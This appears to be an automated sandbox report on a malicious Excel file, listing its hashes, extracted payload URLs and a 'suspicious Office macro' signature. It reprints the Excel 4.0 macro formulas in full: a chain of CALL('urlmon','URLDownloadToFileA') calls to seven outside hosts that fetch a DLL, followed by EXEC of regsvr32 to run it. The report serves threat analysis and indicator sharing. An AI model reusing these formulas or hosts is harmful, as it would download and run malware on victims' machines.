General
-
Target
0e336a8f8d10c641e6e6306c919add139f09fb2444aac602a251d8379525a389
-
Size
73KB
-
MD5
67e1f72d903db3066e37211a509894c0
-
SHA1
3028263f72e8110afad5c29389946e5d10f5654e
-
SHA256
0e336a8f8d10c641e6e6306c919add139f09fb2444aac602a251d8379525a389
-
SHA512
b982d326bcb282c4100721a92c585408a6d7a6258985767478fab1d50435497fa7d179820ed6ca5f44a528e347706a0537d990a52d30c1acebfa714c798301b4
-
SSDEEP
1536:aLgT1WiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV6BD:d1WiCtzSmICpH7OZuvZGsM0
Malware Config
Extracted
https://www.ankeoman.com/undercons_files/l88ETG/
http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/
http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/
http://atsyemek.com/test/QaMcxcqLPFHX/
http://atozams.com/app/d24BUaSin4NuT/
http://aureadesign.net/1U3/
http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.ankeoman.com/undercons_files/l88ETG/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atsyemek.com/test/QaMcxcqLPFHX/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atozams.com/app/d24BUaSin4NuT/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aureadesign.net/1U3/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
0e336a8f8d10c641e6e6306c919add139f09fb2444aac602a251d8379525a389